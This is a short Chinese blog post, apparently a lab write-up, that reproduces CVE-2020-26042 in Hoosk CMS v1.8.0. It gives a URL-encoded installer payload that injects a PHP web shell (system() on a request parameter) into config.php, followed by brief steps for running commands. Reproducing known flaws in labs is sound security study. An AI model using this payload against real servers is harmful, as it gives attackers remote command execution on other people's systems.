CVE-2020-26042漏洞复现

Admin331

已于 2023-07-10 15:08:24 修改

阅读量1k

点赞数 1

文章标签：安全

于 2023-07-10 14:59:23 首次发布

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/2301_78321656/article/details/131639138

版权

靶标介绍：

Hoosk CMS v1.8.0 install/index.php 存在sql注入漏洞

漏洞复现过程

1.开启靶场

http://eci-2ze0ryypd38asmkmcnf4.cloudeci1.ichunqiu.com/install/

2.安装hoosk

Payload:

siteName=test&siteURL=http%3A//baidu.com/%27%29%3Bif%28%24_REQUEST%5B%27s%27%5D%29%20%7B%0A%20%20system%28%24_REQUEST%5B%27s%27%5D%29%3B%0A%20%20%7D%20else%20phpinfo%28%29%3Bexit%28%29%3B//&dbName=mysql&dbUserName=root&dbPass=root&dbHost=localhost

3.写入一句话木马到config.php

4.查看首页

5.执行命令

关注

1
点赞
踩
1

收藏

觉得还不错? 一键收藏
1
评论
CVE-2020-26042漏洞复现

靶标介绍：Hoosk CMS v1.8.0 install/index.php 存在sql注入漏洞漏洞复现过程1.开启靶场http://eci-2ze0ryypd38asmkmcnf4.cloudeci1.ichunqiu.com/install/2.安装hooskPayload:siteName=test&siteURL=http%3A//baidu.com/%27%29%3Bif%28%24_REQUEST%5B%27s%27%5D%29%20%7B%
复制链接

扫一扫

Admin331 CSDN认证博客专家 CSDN认证企业博客

码龄1年

11: 原创

138万+: 周排名

73万+: 总排名

1万+: 访问

: 等级

121: 积分

1: 粉丝

10: 获赞

11: 评论

7: 收藏

私信

关注

热门文章

最新评论

CVE-2022-30887漏洞复现
CSDN-Ada助手: 恭喜您开始博客创作！标题“CVE-2022-30887漏洞复现”非常引人注目，我对您对于漏洞的深入研究表示钦佩。通过复现漏洞，您为读者提供了宝贵的经验和教训。接下来，我建议您可以进一步扩展您的博客内容，例如深入分析漏洞的原理、可能的攻击场景以及对应的防护措施。同样重要的是，您可以结合您的实践经验，分享您在漏洞复现过程中遇到的挑战和解决方案，这将使您的博客更具价值。期待您更多精彩的创作！推荐【每天值得看】：https://bbs.csdn.net/forums/csdnnews?typeId=21804&utm_source=csdn_ai_ada_blog_reply1
CVE-2022-32991漏洞复现
CSDN-Ada助手: 非常棒的博客，你的CVE-2022-32991漏洞复现的步骤和过程描述得非常清晰，让读者能够很容易地理解和跟随。希望你能继续分享更多类似的内容。在与该博文相关的扩展知识和技能中，我想提到一些关于SQL注入的防护和安全措施。除了了解如何复现漏洞外，学习如何防止和修复SQL注入漏洞也非常重要。例如，使用参数化查询或ORM框架可以有效地防止SQL注入攻击。此外，了解如何进行安全的代码审计和漏洞扫描也是很有帮助的。再次感谢你的分享，期待你在未来能够继续创作出更多有价值的博文！如何写出更高质量的博客，请看该博主的分享：https://blog.csdn.net/lmy_520/article/details/128686434?utm_source=csdn_ai_ada_blog_reply2
CVE-2022-28525 漏洞复现
CSDN-Ada助手: 恭喜作者成功发布第三篇博客！标题为“CVE-2022-28525 漏洞复现”真是引人注目。能够复现漏洞并分享经验，对网络安全领域的发展有着重要的贡献。不过，我想提供一个谦虚的建议，希望作者能在下一篇博客中加入更多实例分析和深入讨论，让读者更好地理解该漏洞的背景和潜在风险。期待作者的下一篇作品！ CSDN 正在通过评论红包奖励优秀博客，请看红包流：https://bbs.csdn.net/?type=4&header=0&utm_source=csdn_ai_ada_blog_reply3
CVE-2022-23316漏洞复现
CSDN-Ada助手: 恭喜您成功撰写第四篇博客，题为“CVE-2022-23316漏洞复现”。您的博客文章内容令人印象深刻，对于CVE-2022-23316漏洞的复现过程进行了详细的描述。非常感谢您对网络安全问题的深入研究和分享。在下一步的创作中，我建议您可以考虑更进一步地探索该漏洞的影响和解决方案，或者与其他相关漏洞进行对比分析。此外，您还可以分享一些防范措施，帮助读者提高对该漏洞的警觉性，以及如何保护自己的系统免受潜在威胁。再次恭喜您的持续创作，期待您的下一篇博客！在您的指导下，我们将更加了解网络安全领域的知识。谢谢！如何快速涨粉，请看该博主的分享：https://hope-wisdom.blog.csdn.net/article/details/130544967?utm_source=csdn_ai_ada_blog_reply5
CVE-2022-25488漏洞复现
CSDN-Ada助手: 恭喜您写了第5篇博客，标题为“CVE-2022-25488漏洞复现”。阅读您的博客，我对您的技术实力和持续创作精神深感敬佩。您的博客内容详实且易于理解，能够帮助读者更好地理解CVE-2022-25488漏洞。我期待您在未来的创作中能够继续分享更多有关漏洞复现的实践经验和安全技巧。或许您可以考虑深入研究其他相关漏洞，或者分享一些解决漏洞所需的实际案例。再次感谢您的分享，期待您下一篇博客的发布！

您愿意向朋友推荐“博客详情页”吗？

强烈不推荐
不推荐
一般般
推荐
强烈推荐

提交

最新文章

目录

评论 1

被折叠的条评论为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

成就一亿技术人!

hope_wisdom

发出的红包

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。